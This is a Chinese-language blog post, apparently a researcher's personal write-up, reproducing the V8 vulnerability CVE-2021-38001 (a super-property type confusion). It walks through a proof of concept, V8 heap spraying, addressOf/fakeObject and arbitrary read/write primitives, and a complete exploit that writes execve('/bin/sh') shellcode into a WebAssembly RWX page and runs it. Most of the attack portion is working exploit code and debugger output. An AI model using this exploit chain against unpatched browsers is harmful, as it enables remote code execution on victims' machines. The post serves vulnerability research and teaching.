V8利用(4)-CVE-2021-38001

Static Lv2

环境配置

漏洞介绍页面 ,在该页面可以看到POC和writeup,issue编号为1260577

受影响的Chrome最高版本为:95.0.4638.54
受影响的V8最高版本为:9.5.172.21

我这里装的是9.5.172.10版本

POC

该POC为Hcamael优化后的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import('./1.mjs').then((m1) => {
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
class C {
m() {
return super.x;
}
}
obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0);
}
C.prototype.__proto__ = m1;
function trigger() {
let c = new C();

c.x0 = obj_prop_ut_fake;
let res = c.m();
return res;
}
for (let i = 0; i < 10; i++) {
trigger();
}
let evil = trigger();
%DebugPrint(evil);
});

其中1.mjs

1
2
3
export let x = {};
export let y = {test:1};
export let z = {};

这个1.mjs的内容挺重要的,会导致你复现不出来

漏洞测试

直接运行POC,可以看到如下结果

1
DebugPrint: Smi: 0x20202021 (538976289)

因为在代码不变的情况下,每个对象的低32bit地址基本不变,因此可将设定的值设为一个对象的低32bit地址,运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
DebugPrint: 0x55008049ce9: [JSArray]
- map: 0x055008203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0550081cc0e9 <JSArray[0]>
- elements: 0x055008049cd9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x05500800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x550080048f1: [String] in ReadOnlySpace: #length: 0x05500814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x055008049cd9 <FixedDoubleArray[1]> {
0: 2.1
}
0x55008203ae1: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x055008203ab9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x055008142405 <Cell value= 1>
- instance descriptors #1: 0x0550081cc59d <DescriptorArray[1]>
- transitions #1: 0x0550081cc5e9 <TransitionArray[4]>Transition array #1:
0x05500800524d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x055008203b09 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x0550081cc0e9 <JSArray[0]>
- constructor: 0x0550081cbe85 <JSFunction Array (sfi = 0x5500814adc1)>
- dependent code: 0x0550080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

可以发现,将其解析为对象了,那么如果在某地址存在一个伪造对象,将设定的值设置为该伪造对象的地址,那么我们就可以通过该伪造对象进行任意地址读写了,但一个重要的问题是我们如何得到地址。此时就需要使用堆喷技术了

V8下的堆喷

V8的堆内存一般为如下内存段

1
2
3
4
5
6
7
8
9
10
11
12
13
0x1f4a00000000     0x1f4a00003000 rw-p     3000      0 [anon_1f4a00000]
0x1f4a00003000 0x1f4a00004000 ---p 1000 0 [anon_1f4a00003]
0x1f4a00004000 0x1f4a0001a000 r-xp 16000 0 [anon_1f4a00004]
0x1f4a0001a000 0x1f4a0003f000 ---p 25000 0 [anon_1f4a0001a]
0x1f4a0003f000 0x1f4a08000000 ---p 7fc1000 0 [anon_1f4a0003f]
0x1f4a08000000 0x1f4a0802a000 r--p 2a000 0 [anon_1f4a08000]
0x1f4a0802a000 0x1f4a08040000 ---p 16000 0 [anon_1f4a0802a]
0x1f4a08040000 0x1f4a0814d000 rw-p 10d000 0 [anon_1f4a08040]
0x1f4a0814d000 0x1f4a08180000 ---p 33000 0 [anon_1f4a0814d]
0x1f4a08180000 0x1f4a08183000 rw-p 3000 0 [anon_1f4a08180]
0x1f4a08183000 0x1f4a081c0000 ---p 3d000 0 [anon_1f4a08183]
0x1f4a081c0000 0x1f4a08240000 rw-p 80000 0 [anon_1f4a081c0]
0x1f4a08240000 0x1f4b00000000 ---p f7dc0000 0 [anon_1f4a08240]

可以发现堆内存是连续的,从0x1f4a08240000开始的0xf7dc0000大小的内存便是还未分配的堆内存,查看未分配内存的前0x80000大小内存可以看到

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x1f4a081c0000
0x1f4a081c0000: 0x0000000000040000 0x0000000000000004
0x1f4a081c0010: 0x0000558d5eb2db38 0x00001f4a081c2118
0x1f4a081c0020: 0x00001f4a08200000 0x000000000003dee8
0x1f4a081c0030: 0x0000000000000000 0x0000000000002118
0x1f4a081c0040: 0x0000558d5ebafee0 0x0000558d5eb1fb80
0x1f4a081c0050: 0x00001f4a081c0000 0x0000000000040000
0x1f4a081c0060: 0x0000558d5ebade20 0x0000000000000000
0x1f4a081c0070: 0xffffffffffffffff 0x0000000000000000

在V8的堆块结构中,首部8字节代表该堆块大小,其中的0x2118代表有这些大小存储堆块信息,那么可用大小就是0x3dee8

其结构大致为

1
2
3
4
5
+0   : 堆块size
+0x18: 堆块可用内存开始地址
+0x20: 下一个堆块
+0x28: 可用空间
+0x38: 堆块信息占用空间

使用如下代码进行测试,查看内存段,可以发现之前0x80000大小的内存区域不断增加

1
2
3
4
5
6
7
8
9
10
11
var test1 = Array(0xf700);
%DebugPrint(test1);
%SystemBreak();

var test2 = Array(0xf700);
%DebugPrint(test2);
%SystemBreak();

var test3 = Array(0xf700);
%DebugPrint(test3);
%SystemBreak();

代码中Array(0xf700),在V8中一个内存占4字节,则总长度为0xf700*4+0x2118 = 0x3fd18,在对齐后便为0x40000大小。对应内存区域变化如下

1
2
3
4
5
6
7
8
0x26a0081c0000     0x26a008280000 rw-p    c0000      0 [anon_26a0081c0]
0x26a008280000 0x26a100000000 ---p f7d80000 0 [anon_26a008280]

0x26a0081c0000 0x26a0082c0000 rw-p 100000 0 [anon_26a0081c0]
0x26a0082c0000 0x26a100000000 ---p f7d40000 0 [anon_26a0082c0]

0x26a0081c0000 0x26a008300000 rw-p 140000 0 [anon_26a0081c0]
0x26a008300000 0x26a100000000 ---p f7d00000 0 [anon_26a008300]

查看test1 test2 test3的对象内存,发现其elements指针都是对应内存空间+0x2119

1
2
3
0x33ac080499e4:	0x08203ab9	0x0800222d	0x08242119	0x0001ee00
0x33ac080499f4: 0x08203ab9 0x0800222d 0x08282119 0x0001ee00
0x33ac08049a04: 0x08203ab9 0x0800222d 0x082c2119 0x0001ee00

这意味着我们不需要泄露也可以很轻易的命中某个对象的elements内存。

漏洞利用

这个过程整得我有点sb,BigInt转number时的精度丢失调了我好久

堆喷

选取一个Array的elements内存区,例如0x82c2121(elements对应低2字节为0x2119,数据区为0x2119+8=0x2121)。然后在堆喷对象的数据区域进行伪造。

经过测试,我发现各种对象的map地址似乎是一个固定值,所以就直接进行赋值了。我这里似乎理解的不太对,看了其他师傅的复现发现都是只分配了一次,我是分配了0x100次,然后给每个都赋以相同的值,然后随便找一个来利用,写完exp才发现,不想改了:(

1
2
3
4
5
6
7
8
var double_array_map = 0x8203ae1;
var obj_array_map = 0x8203b31;
var spray_array = [];
for(let i = 0x0; i < 0x100; i++) {
spray_array[i] = Array(0xf700);
spray_array[i][0] = u2d(obj_array_map, 0);
spray_array[i][1] = u2d(0x9042121+0x100*8, 2);
}

伪造对象的elements指向随便一个可写区域就行。

addressOf

1
2
3
4
5
6
7
8
9
10
function addressOf(target_var)
{
evil[0] = target_var;
for(let i = 0; i < 0x100; i++)
spray_array[i][0] = u2d(double_array_map, 0);
let target_var_addr = ftoi(evil[0]) - 1n;
for(let i = 0; i < 0x100; i++)
spray_array[i][0] = u2d(obj_array_map, 0);
return target_var_addr;
}

fakeObject

1
2
3
4
5
6
7
8
9
10
function fakeObject(target_addr)
{
for(let i = 0; i < 0x100; i++)
spray_array[i][0] = u2d(double_array_map, 0);
evil[0] = itof(target_addr+1n);
for(let i = 0; i < 0x100; i++)
spray_array[i][0] = u2d(obj_array_map, 0);
let fake_obj = evil[0];
return fake_obj;
}

AAR

1
2
3
4
5
6
7
8
var fake_array=[u2d(double_array_map, 0), itof(0x4141414141414141n)];
function AAR(addr)
{
let fake_array_addr = bigint_to_number(addressOf(fake_array));
var fake_object = fakeObject(BigInt(fake_array_addr)+0x4cn+8n);
fake_array[1] = itof(0x200000000n+addr+1n-8n);
return ftoi(fake_object[0]);
}

AAW

1
2
3
4
5
6
7
function AAW(addr, value)
{
let fake_array_addr = bigint_to_number(addressOf(fake_array));
var fake_object = fakeObject(BigInt(fake_array_addr)+0x4cn+8n);
fake_array[1] = itof(0x200000000n+addr+1n-8n);
fake_object[0] = itof(value);
}

shellcode_write

1
2
3
4
5
6
7
8
9
function shellcode_write(addr,shellcode)
{
var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr=addressOf(data_buf)+0x1cn;
AAW(buf_backing_store_addr,addr);
for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,itof(shellcode[i]),true);
}

最终exp

最后触发挺稳定的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
import('./1.mjs').then((m1) => {
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var double_array = [2.1];
var obj = {a:1};
var obj_array = [obj];

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function bigint_to_number(b)
{
bigUint64[0] = b;
return u32[0];
}

var double_array_map = 0x8203ae1;
var obj_array_map = 0x8203b31;
var spray_array = [];
for(let i = 0x0; i < 0x100; i++) {
spray_array[i] = Array(0xf700);
spray_array[i][0] = u2d(obj_array_map, 0);
spray_array[i][1] = u2d(0x9042121+0x100*8, 2);
}

class C {
m() {
return super.x;
}
}
obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = u2d(0x9042121, 0);
}
C.prototype.__proto__ = m1;
function trigger() {
let c = new C();

c.x0 = obj_prop_ut_fake;
let res = c.m();
return res;
}
for (let i = 0; i < 10; i++) {
trigger();
}
let evil = trigger();

function addressOf(target_var)
{
evil[0] = target_var;
for(let i = 0; i < 0x100; i++)
spray_array[i][0] = u2d(double_array_map, 0);
let target_var_addr = ftoi(evil[0]) - 1n;
for(let i = 0; i < 0x100; i++)
spray_array[i][0] = u2d(obj_array_map, 0);
return target_var_addr;
}

function fakeObject(target_addr)
{
for(let i = 0; i < 0x100; i++)
spray_array[i][0] = u2d(double_array_map, 0);
evil[0] = itof(target_addr+1n);
for(let i = 0; i < 0x100; i++)
spray_array[i][0] = u2d(obj_array_map, 0);
let fake_obj = evil[0];
return fake_obj;
}

var fake_array=[u2d(double_array_map, 0), itof(0x4141414141414141n)];
function AAR(addr)
{
let fake_array_addr = bigint_to_number(addressOf(fake_array));
var fake_object = fakeObject(BigInt(fake_array_addr)+0x4cn+8n);
fake_array[1] = itof(0x200000000n+addr+1n-8n);
return ftoi(fake_object[0]);
}

function AAW(addr, value)
{
let fake_array_addr = bigint_to_number(addressOf(fake_array));
var fake_object = fakeObject(BigInt(fake_array_addr)+0x4cn+8n);
fake_array[1] = itof(0x200000000n+addr+1n-8n);
fake_object[0] = itof(value);
}

function shellcode_write(addr,shellcode)
{
var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr=addressOf(data_buf)+0x1cn;
AAW(buf_backing_store_addr,addr);
for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,itof(shellcode[i]),true);
}

var wasmInstanceAddr = addressOf(wasmInstance);
var rwx_addr = AAR(wasmInstanceAddr+0x60n);


//Linux x64
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
shellcode_write(rwx_addr, shellcode);
f();
%DebugPrint(fake_array);


%SystemBreak();
});

漏洞原理

写完了exp,就该了解漏洞原理了。这个漏洞不像之前的CVE-2020-6507那样,不需要了解某些结构的内部机理就可以理解的七七八八。该漏洞涉及的V8内部原理较为复杂,参考文章https://a1ex.online/2021/12/02/cve-2021-38001-%E5%88%86%E6%9E%90/

  • Title: V8利用(4)-CVE-2021-38001
  • Author: Static
  • Created at : 2024-03-10 16:37:25
  • Updated at : 2024-03-10 16:37:10
  • Link: https://staticccccccc.github.io/2024/03/10/V8/V8利用(4)-CVE-2021-38001/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments